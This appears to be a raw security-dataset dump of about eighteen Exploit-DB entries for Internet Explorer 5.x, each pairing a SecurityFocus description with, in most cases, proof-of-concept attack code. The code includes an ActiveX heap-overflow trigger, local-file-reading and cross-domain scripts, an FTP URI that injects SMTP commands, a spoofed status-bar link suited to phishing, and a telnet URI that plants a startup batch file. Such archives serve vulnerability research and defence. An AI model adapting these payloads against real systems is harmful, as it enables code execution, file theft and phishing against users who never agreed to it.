deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28438
Description: Microsoft Internet Explorer 5.0.1 - Daxctle.OCX Spline Method Heap Buffer Overflow
Type: remote
Platform: windows
Date: 2006-08-28
Author: XSec

Exploit:
source: https://www.securityfocus.com/bid/19738/info

Microsoft Internet Explorer is prone to a heap buffer-overflow vulnerability.. 

The vulnerability arises because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls. 

An attacker can exploit this issue to execute arbitrary code within context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

// Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability
// tested on Windows 2000 SP4/XP SP2/2003 SP1

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {D7A7D7C3-D47F-11D0-89D3-00A0C90833E6}
// Info: Microsoft DirectAnimation Path
// ProgID: DirectAnimation.PathControl
// InprocServer32: C:\WINNT\system32\daxctle.ocx

--!>
<html>
<head>
<title>test</title>
</head>
<body>
<script>

var target = new ActiveXObject("DirectAnimation.PathControl");

target.Spline(0xffffffff, 1);

</script>
</body>
</html>
Exploit-DB #25386
Description: Microsoft Internet Explorer 5.0.1 - DHTML Object Race Condition Memory Corruption
Type: remote
Platform: windows
Date: 2005-04-12
Author: Berend-Jan Wever

Exploit:
source: https://www.securityfocus.com/bid/13120/info

A vulnerability in Microsoft Internet Explorer may allow remote attackers to execute arbitrary code in the context of users visiting malicious Web sites.

This issue presents itself the affected application attempts to process certain script objects, a race condition may lead to the execution of attacker-supplied code. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25386.zip
Exploit-DB #24800
Description: Microsoft Internet Explorer 5.0.1 - FTP URI Arbitrary FTP Server Command Execution
Type: remote
Platform: windows
Date: 2004-12-06
Author: Albert Puigsech Galicia

Exploit:
source: https://www.securityfocus.com/bid/11826/info

Microsoft Internet Explorer is reported prone to an arbitrary FTP server command-execution vulnerability. This issue is due to the application's failure to properly sanitize user-supplied URI input before using it to execute FTP commands on remote servers. 

This vulnerability allows attackers to embed arbitrary FTP server commands in malicious URIs. Upon following this malicious URI, the victim user's browser will reportedly connect to the attacker-specified FTP server, and the malicious commands will be sent to the server. This may allow malicious files to be downloaded to the victim's computer without their knowledge. Other attacks are also likely possible. 

Note: Reportedly, this issue can be leveraged to send email to arbitrary addresses without user interaction.

ftp://ftp.example.com/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file 

The 'a,b,c,d,e,f' would represent the IP address and port specifications, as per the FTP RFCs. 

This issue has also been reported to allow for the sending of email without user interaction. Embedding the following image into an HTML page reportedly sends an email: 

<img src="ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a<>%0d%0aRCPT%20TO%3a<username%40example.com>%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:username@mx.example.net:25/" />
Exploit-DB #19156
Description: Microsoft Internet Explorer 5.0.1 - Invalid Byte Cross-Frame Access
Type: remote
Platform: windows
Date: 1999-01-28
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/197/info

On January 28, 1999, Georgi Guninski originally reported a vulnerability in Internet Explorer 4.x. Internet Explorer 4.x's implentation of Cross-frame security could be bypassed if "%01" is appended to an arbitrary URL. If the specially malformed URL is inserted in a javascript after an 'about:' statement, arbitrary code can be executed on the target host. Successful exploitation could lead to access to local files, window spoofing, and arbitrary code execution.

On October 6, 2000, Alp Sinan discovered that a variation of this vulnerability exists in Microsoft Internet Explorer 5.5. Instead of using "%01", the ASCII equivalents of "^A" or "&#01" can be used instead. 

Georgi Guninski <guninski@guninski.com> has set up the following demonstration pages:

Exploit through HTML mail message:

http://www.guninski.com/scriptlet.html

http://www.guninski.com/scrspoof.html

Exploit through TDC:

http://www.guninski.com/scrauto.html

Alp Sinan <alp@uk2.net> has set up the following demonstration pages:

Reading of local files:
http://horoznet.com/AlpSinan/localread.htm

Window spoofing:
http://horoznet.com/AlpSinan/webspoof.htm

Cross-frame security circumvention
http://horoznet.com/AlpSinan/crossframe.htm
Exploit-DB #24265
Description: Microsoft Internet Explorer 5.0.1 - JavaScript Method Assignment Cross-Domain Scripting
Type: remote
Platform: windows
Date: 2004-07-12
Author: Paul

Exploit:
source: https://www.securityfocus.com/bid/10689/info

A vulnerability exists in Microsoft Internet Explorer that may allow cross-domain/cross-zone scripting. 

It is reported that the vulnerability presents itself due to a failure to properly validate trust relationships between method calls that are made in separate Internet Explorer windows. This may make it possible for script code to access properties of a foreign domain or Security Zone.

Exploitation may permit execution of arbitrary code as the victim user.

<script>
//courtesy of Paul
function govuln(){
var w=window.open("javascript:setInterval(function(){try{var tempvar=opener.location.href;}catch(e){location.assign('javascript:document.innerHTML=&quot;<title>Microsoft Corporation</title>0wned&quot;');window.close();}},100)","_blank","height=10,width=10,left=10000,top=10000");
w.location.assign=location.assign;
location.href="http://www.microsoft.com";
}
govuln()
</script>

The following example was provided:

<script>;
var var1=location.assign;
alert("Assign function of the current window:\n"+var1);
var w=window.open("about:blank","_blank");
var var2=w.location.assign;
var w=alert("Assign function of the new window:\n"+var2);
w.close();
</script>;

This will reportedly generate two alerts describing the assign().
Exploit-DB #23668
Description: Microsoft Internet Explorer 5.0.1 - LoadPicture File Enumeration
Type: remote
Platform: windows
Date: 2004-02-07
Author: Jelmer

Exploit:
source: https://www.securityfocus.com/bid/9611/info

Microsoft Internet Explorer is prone to an issue that may permit a remote site to enumerate the existence of files on the client system. 

This may be exploited via abuse of the VBScript LoadPicture method. Exploitation of the weakness may assist in other attacks which depend on the attacker being able to determine whether or not certain files on the system exist.

<form onsubmit="doIt(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>

<script language="vbscript">

Sub loadIt(filename)
LoadPicture(filename)
End Sub

</script>

<script language="javascript">

function doIt(form) {

try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}

if (result != [PII_REDACTED]) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>
Exploit-DB #27744
Description: Microsoft Internet Explorer 5.0.1 - Modal Dialog Manipulation
Type: remote
Platform: windows
Date: 2006-04-26
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/17713/info

Internet Explorer is prone to a remote code-execution vulnerability through exploiting a race-condition when displaying modal security dialog boxes.

This issue may be exploited to cause users to inadvertently allow remote-code to be executed.


<HEAD>
<TITLE>Internet Explorer ActiveX Installation Vulnerability</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<SCRIPT>

function doInstallControl() {

	document.body.innerHTML +=
		"<OBJECT CLASSID=\"clsid:928626A3-6B98-11CF-90B4-00AA00A4011F\" TYPE=\"application/x-oleobject\" CODEBASE=\"http://activex.microsoft.com/activex/controls/museum/MSSurVid.cab#Version=1,2,0,7\" WIDTH=\"325\" HEIGHT=\"250\">\r\n" +
            	"<PARAM NAME=\"SurroundRect\" VALUE=\"0,0,325,250\">\r\n" +
            	"<PARAM NAME=\"Image\" VALUE=\"ritetree.jpg\">\r\n" +
          	"</OBJECT>";

	document.getElementById("captcha").focus();
}

function doWaitEntry() {

	if (event.keyCode == 78 || event.keyCode == 110) {
		doInstallControl();
	}

}

</SCRIPT>

<FORM ACTION="" METHOD="GET">
Please enter the text you see on the left:<BR><BR>

<B>on3l1y6y8y5y</B> <INPUT TYPE="text" ID="captcha" ONKEYPRESS="doWaitEntry()">

</FORM>

</BODY>
Exploit-DB #25095
Description: Microsoft Internet Explorer 5.0.1 - Mouse Event URI Status Bar Obfuscation
Type: remote
Platform: windows
Date: 2005-02-14
Author: Paul

Exploit:
source: https://www.securityfocus.com/bid/12541/info

Microsoft Internet Explorer is reported prone to a URI obfuscation weakness.

The issue presents itself when a HREF tag contains certain mouse events.

This issue may be leveraged by an attacker to display false information in the status bar or URI property dialog of an affected browser, allowing an attacker to present web pages to unsuspecting users that seem to originate from a trusted location. This may facilitate phishing style attacks; other attacks may also be possible. 

<script>
var aa=0;var intid;
</script>
Try right-clicking on the link and clicking on properties. Notice the address is spoofed even on the properties window, yet the link takes you to an address with the vbscript protocol.
Note: Does not work when the "open" command is selected from the right-click menu.
<a href='vbscript:msgbox("Psych!")' id="chglink" onmouseover="aa=1;var intid=setInterval('if(aa==1){window.status=\'http://yahoo.com\'}',10)"
onmouseout='aa=0;chglink.href="vbscript:msgbox(\"Psych!\")";clearInterval(intid);window.status=""' onmousedown="if
(event.button==2){chglink.href='http://yahoo.com'}">click</a>


Just a simple one:
<a href="http://google.com"><button style="border:0;background-color:white;cursor:hand" onclick='location.assign("vbscript:msgbox(\"Psych!\")")'><font
color="blue">click</font></button></a>
Exploit-DB #28118
Description: Microsoft Internet Explorer 5.0.1 - OuterHTML redirection Handling Information Disclosure
Type: remote
Platform: windows
Date: 2006-06-27
Author: Plebo Aesdi Nael

Exploit:
source: https://www.securityfocus.com/bid/18682/info

Microsoft Internet Explorer is prone to an information-disclosure vulnerability because it fails to properly enforce cross-domain policies.

This issue may allow attackers to access arbitrary websites in the context of a targeted user's browser session. This may allow attackers to perform actions in web applications with the privileges of exploited users or to gain access to potentially sensitive information. This may aid attackers in further attacks.

The following proof of concept is incomplete realization of the idea to demonstrate its feasibility. Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006 Upload the following files to Web server, go to i.html 
------------------------- i.html ------------------------- 
<html>
body onload="setTimeout('alert(o.object.documentElement.outerHTML)',1000)"> 
<object width=100 height=100 data=r.php?http://www.google.com/123456789 type=text/html id=o></object> 
</body>
</html> ------------------------- r.php ------------------------- 
<?php header("Location: ".$_SERVER["QUERY_STRING"]); ?> i.html displays content of Google Web page.
Exploit-DB #24266
Description: Microsoft Internet Explorer 5.0.1 - Popup.show Mouse Event Hijacking
Type: remote
Platform: windows
Date: 2004-07-12
Author: Paul

Exploit:
source: https://www.securityfocus.com/bid/10690/info

A vulnerability exists in Microsoft Internet Explorer that may permit a malicious Web page to hijack mouse events. This could potentially be exploited to trick an unsuspecting user into performing unintended actions such as approving pop-up dialogs.

The method caching variant of this attack is also reported to work.


This issue could potentially be exploited to execute arbitrary code or be used in other attacks.

A variant of this proof of concept has been supplied by http-equiv:
Just substitute the following:
1. <img src="greyhat.html" id=anch
onmousedown="parent.nsc.style.width=2000;parent.nsc.style.height=
2000;parent.pop.show(1,1,1,1);parent.setTimeout('showalert
()',3000);" style="width=168px;height=152px;background-image:url
('youlickit.gif');cursor:hand" title="click me!"></a>

2. location="shell:favorites\\greyhat[1].htm"
Exploit-DB #24328
Description: Microsoft Internet Explorer 5.0.1 - Style Tag Comment Memory Corruption
Type: remote
Platform: windows
Date: 2004-07-08
Author: Phuong Nguyen

Exploit:
source: https://www.securityfocus.com/bid/10816/info

A heap overflow vulnerability has been discovered in Internet Explorer. It is reported that the issue presents itself when a comment character sequence that is not terminated is encountered after a STYLE tag.

This issue could be exploited by a remote attacker to execute arbitrary code in the context of the client user. The attacker would likely create a malicious HTML page and host it on a site. The attacker would then attempt to entice a user to visit the malicious page to carry out a successful attack.

<style>;@/* 

And by "Berend-Jan Wever" <skylined@edup.tudelft.nl>:

<SCRIPT>
d = window.open().document;
d.write("x");
d.body.innerHTML = "<STYLE>@;/*";
</SCRIPT>
Exploit-DB #24213
Description: Microsoft Internet Explorer 5.0.1 - Wildcard DNS Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-06-15
Author: bitlance winter

Exploit:
source: https://www.securityfocus.com/bid/10554/info

Microsoft Internet Explorer is reported to contain a cross-site scripting vulnerability for sites that have a wildcard DNS entry.

A web server with a wildcard DNS entry will respond to any hostname requested. An example DNS entry of *.example.com would allow a hostname of whatevertheattackerwanted.example.com to properly resolve.

Internet Explorer improperly interprets text inside of an anchor tag as HTML, rather than plaintext.

To exploit this issue, an attacker must either find a preexisting web site using a wildcard DNS entry or create their own. The web site must also be configured to display the hostname received in the request in the HTML returned to the user. A remote attacker may exploit this issue to potentially execute HTML or script code in the security context of the vulnerable site.

An attacker can exploit this issue to steal cookie authentication credentials, or perform other types of attacks.

<a href='http://"><plaintext>.example.com'>foo</a>

<a href='http://"><script>alert()<%2Fscript>.example.com'>foo</a>
Exploit-DB #20680
Description: Microsoft Internet Explorer 5.0.1/5.5/6.0 - Telnet Client File Overwrite
Type: remote
Platform: windows
Date: 2001-03-09
Author: Oliver Friedrichs

Exploit:
source: https://www.securityfocus.com/bid/2463/info

Services for Unix 2.0 contains a client side logging option which records all information exchanged in a telnet session. A vulnerability exists that could enable a remote user to invoke the telnet client and execute arbitrary commands on a target machine via IE. This is achieved by crafting a URL composed of command line parameters to the telnet client, which would invoke 'telnet.exe'. Telnet would connect to the host and initate the logging of session information, access to this file will allow an attacker to write and execute arbitrary commands which may be executed later. 

The following URL will cause IE to connect to the host and initiate the logging function:

telnet:-f%20\file.txt%20host

The following is an example of a malicious HTML message which could cause data that is received from the destination port on the host "host" to be written to the file "filename" in the startup directory for all users. If the logged in user has the appropriate permissions, a batch file will be created and executed upon future authentication.

<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet:-f%20\Documents%20and%Settings\All%20Users
\start%20menu\programs\startup\start.bat%20host%208000>
</frameset>
</html>
Exploit-DB #21452
Description: Microsoft Internet Explorer 5.0.1/6.0 - Content-Disposition Handling File Execution
Type: remote
Platform: windows
Date: 2002-05-15
Author: Jani Laatikainen

Exploit:
source: https://www.securityfocus.com/bid/4752/info

An issue exists in the way Microsoft Internet Explorer handles conflicting information in some HTTP headers used to describe non-HTML content. A malicious web server may provide content with misleading values in the content-type and content-disposition headers.

Under some circumstances, the result may be that IE will automatically download and execute attacker-supplied programs.

It has been demonstrated that this vulnerability can be exploited when Windows Media Player 6.4 or 7.1 is installed on the system.

This vulnerability may also be exploited through HTML formatted email. 

This vulnerability could potentially be exploited by an HTTP header similar to the following:
Content-Type: audio/x-ms-wma
Content-disposition: inline; filename="foo.exe"
Exploit-DB #19539
Description: Microsoft Internet Explorer 5.0/4.0.1 - iFrame
Type: remote
Platform: windows
Date: 1999-10-11
Author: Georgi Guninski

Exploit:
Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0/Unix 5.0 IFRAME Vulnerability

source: https://www.securityfocus.com/bid/696/info

Internet Explorer 5 will allow a malicious web page to read the contents of local files through a weakness in the IE5 security model. Normally the document.execCommand method is restricted from reading and returning data on the local machine, however if the method is called from within an IFRAME this restriction can be circumvented.

<SCRIPT>
alert("Create text file c:\\test.txt and it will be read");
function f()
{
I1.focus();
document.execCommand("selectAll");
document.execCommand("InsertParagraph",false,">\"STYLE='left:expression(eval(String.fromCharCode(97,61,119,105,110,100,111,119,46,111,112,101,110,40,39,102,105,108,101,58,47,47,99,58,47,116,101,115,116,46,116,120,116,39,41,59,97,108,101,114,116,40,97,46,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,84,101,120,116,41)));'");
}
setTimeout('f()',2000);
</SCRIPT>
<IFRAME ID="I1" SRC="file://c:/test.txt"></IFRAME>
Exploit-DB #19559
Description: Microsoft Internet Explorer 5.0/4.0.1 - JavaScript URL Redirection (MS99-043)
Type: remote
Platform: windows
Date: 1999-10-18
Author: Georgi Guninski

Exploit:
Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Microsoft Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0/Unix 5.0 Javascript URL Redirection Vulnerability

source: https://www.securityfocus.com/bid/722/info

A malicious web site operator could design a web page that, when visited by an IE5 user, would read a local file from the victim host (or any file on the victim's network to which the victim has access) and send the contents of that file to a designated remote location.

1) The IE5 user visits a malicious web site.

2) The web site instructs the client to open another IE5 browser window and display the contents of a file residing on the IE5 user's host (or another host on the network to which the IE5 user has access).

3) Immediately after opening the new browser window, the window is instructed to browse to a specified web site ie: http://malicious server.com/hack.cgi?doit.

4) The hack.cgi?doit page does not return a web page, but instead redirects the window to a javascript URL containing embedded executable code.

5) The javascript code (from step 4) can now access any files on the victim's host (or any file on the victim's network to which the victim has access) and send it to a location maintained by the malicious web site operator.

Under normal circumstances, javascript received from a non-local "security zone" is not allowed to perform such actions against files on the local host. In this instance, however, the IE5 browser has been fooled (via http redirect to javascript) into thinking that the Javascript should execute under the security context of the local host's security zone as the javascript was requested from a browser displaying the local file.

Microsoft has released a FAQ that contains a good description of this vulnerability: http://www.microsoft.com/security/bulletins/MS99-043faq.asp. 

<SCRIPT>
alert("Create a short text file C:\\TEST.TXT and it will be read and shown in a dialog box");
a=window.open("file://c:/test.txt");
a.location="http://www.nat.bg/~joro/reject.cgi?jsredir1";
</SCRIPT>
// "http://www.nat.bg/~joro/reject.cgi?jsredir1" just does a HTTP redirect to: "javascript:alert(document.body.innerText)"
Exploit-DB #20782
Description: Microsoft Internet Explorer 5.0/5.5 / OE 5.5 - XML Stylesheets Active Scripting
Type: remote
Platform: windows
Date: 2001-04-20
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/2633/info

A vulnerability exists in the handling of XML stylesheets in Internet Explorer and Outlook Express. If active scripting is disabled in all security zones, IE and OE will still allow script to run if it is contained in the stylesheet of an XML page. 

From: "georgi" 
Subject: xstyle
Date: 
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000"
X-Priority: 3
X-MSMail-Priority: Normal



This is a multi-part message in MIME format.

------=_NextPart_000
Content-Type: text/html;
	charset="iso-8859-1"


test
<H1>
XStyle demo. Written by Georgi Guninski
</H1>

<SCRIPT>
alert("JS should not be working");
</SCRIPT>



<IFRAME SRC="http://www.guninski.com/xstyle.xml"></IFRAME>
------=_NextPart_000--
Exploit-DB #20774
Description: Microsoft Internet Explorer 5.5 - CLSID File Execution
Type: remote
Platform: windows
Date: 2001-04-17
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/2612/info

The default operation performed to open a filetype is determining by referencing the filetype's CLSID. Due to a flaw in the interpretation of CLSIDs when appended to a filename, it is possible to specify a different default action for a given file than would normally be used. As a result, seemingly harmless files (.txt, .jpg etc) may be opened in a nonstandard, attacker specified manner. For example, a program ("evil.exe") could be renamed "evil.jpg.{CLSID_of_executables}" and when opened by the target user, this file will be executed instead of opened by their default .jpg viewer. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20774.zip